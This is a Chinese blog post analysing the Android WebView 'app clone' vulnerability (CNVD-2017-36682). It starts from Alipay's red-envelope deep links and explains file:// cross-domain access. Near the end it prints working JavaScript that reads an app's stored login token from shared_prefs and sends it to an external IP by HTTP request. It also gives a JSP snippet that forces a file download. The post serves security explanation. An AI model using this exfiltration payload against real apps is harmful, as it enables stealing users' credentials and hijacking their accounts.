2018年1月9號,騰訊玄武實驗室召開了一個新聞發佈會,向公衆公佈並演示了「應用克隆」漏洞,並稱:利用該漏洞,用戶只須要點擊一個連接,用戶的支付寶、攜程等APP的登錄狀態,就能夠被克隆到其餘用戶的手機上,一時形成用戶恐慌。剛好這段時間支付寶的「每天領紅包」活動進行的如火如荼,出現了經過點擊一個連接就自動搶紅包的薅羊毛方式。下面結合支付寶的自動領紅包連接,對「應用克隆」漏洞從技術原理上做一下分析。html
在去年年末,支付寶推出了一個「每天領紅包」活動,用戶只須要將本身的紅包口令經過短信或者微信的方式發給對方,對方複製該條信息而後打開支付寶APP,便會獲得一個支付寶紅包,這個紅包能夠直接用於支付寶消費,消費以後,推薦人會獲得一筆賞金,直接到帳。固然也能夠直接讓對方用支付寶掃描本身的推薦二維碼,效果同樣。此次活動持續時間長、活動力度大,羊毛很厚,所以大量用戶爲了賺取賞金,開始各顯神通,好比下面這兩個:android
而後聰明的程序員作了一個連接,對方只要點擊一下這個連接就會自動打開支付寶領一個紅包,免去了掃描二維碼、複製紅包口令、手動打開支付寶APP這些繁瑣的操做。筆者在元旦假期的時候,也嘗試作了這麼一個連接,起了一個誘人的標題發佈到了微信朋友圈,剛發佈一會幾十塊錢賞金就到帳了,確實比發推廣信息效率高不少:)程序員
其實經過網頁喚起第三方APP不是什麼新鮮的技術,作過安卓開發的應該都很熟悉。支付寶、導航系統、各類手機播放器等APP都大量的用到了這種技術,好比經過網頁打開一個視頻播放界面,這時旁邊會有個按鈕「在APP中播放」,點擊後會直接打開對應的APP繼續播放以前的視頻。實現這個需求只須要在定義activity的時候,指定一個scheme(協議),而且設置一個name爲android.intent.category.BROWSABLE的category便可。這種在瀏覽器中經過自定義協議打開第三方應用的方法咱們能夠稱之爲「僞協議」(正常在瀏覽器中打開的都是http、https、ftp這種常規協議),下圖即爲支付寶定義的僞協議:web
以上圖爲例,只要在瀏覽器中打開一個以alipays://開頭的URL,瀏覽器便會自動拉起支付寶應用。ajax
接下來分析一下支付寶紅包的推薦二維碼,解析二維碼獲得URL: https://qr.alipay.com/c1x05309e4ttz2v7xrwrzcd,訪問該URL並抓包分析發現:chrome
https://qr.alipay.com/c1x05309e4ttz2v7xrwrzcd返回302跳轉到了api
https://mobilecodec.alipay.com/client_download.htm?qrcode=c1x05309e4ttz2v7xrwrzcd, https://mobilecodec.alipay.com/client_download.htm?qrcode=c1x05309e4ttz2v7xrwrzcd返回302跳轉到了跨域
分析最後這個URL發現其scheme參數即爲拉起支付寶的關鍵,URL解碼:安全
scheme=alipays://platformapi/startapp?saId=10000007&clientVersion=3.7.0.0718&qrcode=https%3A%2F%2Fqr.alipay.com%2Fc1x05309e4ttz2v7xrwrzcd%3F_s%3Dweb-other
經過上面這個參數咱們能夠清晰的看到這是一個啓動支付寶的僞協議,在啓動的時候向支付寶傳遞了3個參數:saId、clientVersion、qrcode,其中qrcode即爲咱們的紅包推薦二維碼連接。因此猜想這個activity的功能就是打開咱們經過qrcode指定的URL。接下來寫一個簡單的alipay.htm頁面來測試:
<html> <script> window.location.href='alipays://platformapi/startapp?saId=10000007&clientVersion=3.7.0.0718&qrcode=https%3A%2F%2Fqr.alipay.com%2Fc1x05309e4ttz2v7xrwrzcd%3F_s%3Dweb-other' </script> </html>
打開效果以下(你們能夠將如下連接複製到手機瀏覽器測試http://114.115.139.176/alipay.htm):
瀏覽器成功喚起了支付寶APP,並跳到了領紅包的界面。到此,支付寶自動搶紅包的連接就分析完成了。
在上面支付寶自動搶紅包的僞協議中,能夠看到咱們能夠經過控制qrcode參數來控制支付寶打開咱們指定的一個連接,這裏qrcode是否是隻能打開支付寶的頁面呢?下面咱們用百度測試一下,構造以下URL:
alipays://platformapi/startapp?saId=10000007&clientVersion=3.7.0.0718&qrcode=https%3A%2F%2Fwww.baidu.com%2F,發現能夠成功打開,效果以下:
像支付寶這種經過接收外部傳入的URL參數,而後在APP內進行加載的特性,是致使下面所介紹的「應用克隆」漏洞的元兇。
2017年12月7日,國家信息安全漏洞共享平臺(CNVD)接收到騰訊玄武實驗室報送的Android WebView存在跨域訪問漏洞(CNVD-2017-36682)。攻擊者利用該漏洞,可遠程獲取用戶隱私數據(包括手機應用數據、照片、文檔等敏感信息),還可竊取用戶登陸憑證,在受害者毫無察覺的狀況下實現對APP用戶帳戶的徹底控制。因爲該組件普遍應用於Android平臺,致使大量APP受影響,構成較爲嚴重的攻擊威脅。
CNVD將應用克隆漏洞(CNVD-2017-36682)描述爲「Android WebView存在跨域訪問漏洞」,那麼咱們就先來看看什麼是跨域。討論跨域,天然要從瀏覽器的安全機制「同源策略」談起,同源策略是由Netscape提出的一個著名的安全策略,其限制從一個源加載的文檔或腳本與來自另外一個源的資源進行交互。這是一個用於隔離潛在惡意文件的關鍵的安全機制。若是兩個URL的協議、端口、域名是相同的,則認爲這兩個URL是同源的,互相訪問資源不受限制,好比http://a.com/a.html中的腳本能夠向http://a.com/b.htm發起ajax請求,並獲取響應內容。可是若是http://a.com/a.html中的腳本向http://b.com/b.htm發起請求就會被禁止,由於此時二者屬於不一樣的源,而這個被禁止的請求就叫跨域請求。同源策略爲不少正常的web業務場景帶來了不便,所以出現了CORS和JSONP等合法的跨域機制。
File協議主要用於訪問本地計算機中的文件,就如同在Windows資源治理器中打開文件同樣,好比我想查看本地/etc/hosts文件的內容,我就能夠直接在瀏覽器輸入file:///etc/hosts來訪問。固然咱們也能夠經過瀏覽器訪問本地的html文件,文件中也能夠內嵌JavaScript腳本,腳本里面能夠繼續訪問File協議,這樣能夠讀取webview所在進程具備讀取權限的全部本地文件的內容。這樣彷佛也沒什麼問題,畢竟全部的數據操做都是發生在本地的。可是Android的webview有個API叫作setAllowUniversalAccessFromFileURLs,當該API的設置值爲True時,其實就是開啓了File協議的跨域機制,File協議中的腳本能夠跨域訪問其餘協議,好比http,這樣就存在問題了:攻擊者經過讓webview加載一個本地惡意的htm文件,這個htm文件會讀取本地的敏感文件內容,並把內容經過http請求發送至遠程服務器。這也即是「應用克隆」漏洞發生的根源。
經過上面的描述能夠總結得知,若是想要成功利用應用克隆漏洞,至少須要知足以下幾個要求:
<% response.setHeader("Content-Disposition","attachment;filename=autodown.htm"); out.print("<html><script>alert('just for autodownload test!')</script></html>"); %>
將上面的代碼保存爲down.jsp,而後經過chrome for Android訪問,能夠自動下載autodown.htm文件至/storage/sdcard0/Download目錄下。
同時知足以上三個條件,就能夠達到「應用克隆」的效果了。
因爲支付寶最新版不一樣時知足前面提到的三個條件,甚至支付寶在「應用克隆」漏洞發佈會舉行前的多個歷史版本也不能同時知足「應用克隆」的條件。這裏就以我本身編寫的一個APP來做爲案例演示。
該APP實現瞭如下功能:
正常狀況下,APP首次打開會要求用戶輸入用戶名密碼:
登錄成功以後,主頁面會顯示固然登錄的用戶名及token信息:
下面構造一個準備下載到手機上的惡意htm文件,內容以下:
<html> test by me! <script> var arm = "file:///data/data/com.example.q00412688.myapplication/shared_prefs/config.xml"; var xmlhttp; if (window.XMLHttpRequest) { xmlhttp=new XMLHttpRequest(); } xmlhttp.onreadystatechange=function() { //alert("status is"+xmlhttp.status); if (xmlhttp.readyState==4) { window.data=xmlhttp.responseText alert(window.data); var url = "http://114.115.139.176/getdata.jsp?data="+window.data; var xmlhttp2; if (window.XMLHttpRequest) { xmlhttp2=new XMLHttpRequest(); } xmlhttp2.onreadystatechange=function() { //alert("status is"+xmlhttp.status); if (xmlhttp2.readyState==4) { alert(xmlhttp2.responseText); } } xmlhttp2.open("GET",url); xmlhttp2.send(null); } } xmlhttp.open("GET",arm); xmlhttp.send(null); </script> </html>
而後在服務器測準備一個getdata.jsp文件用來接收被攻擊手機發來的數據,接下來我準備了兩臺手機A和B,在A手機上登錄了a@a.com用戶,在B手機上登錄了b@b.com用戶,而後在a@a.com用戶的手機上打開一個惡意連接,以後B手機上登錄的用戶由b@b.com變成a@a.com,經過對方點擊一個連接,咱們成功獲取了對方的token,實現了「克隆」。
以下爲演示視頻:
其實這個漏洞並非什麼新漏洞,setAllowFileAccessFromFileURLs、setAllowUniversalAccessFromFileURLs這兩個API早就是webview常規安全加固項的排查目標之一了。發佈會中提到的「新攻擊模型」,也只是file跨域的衆多攻擊向量中的一個。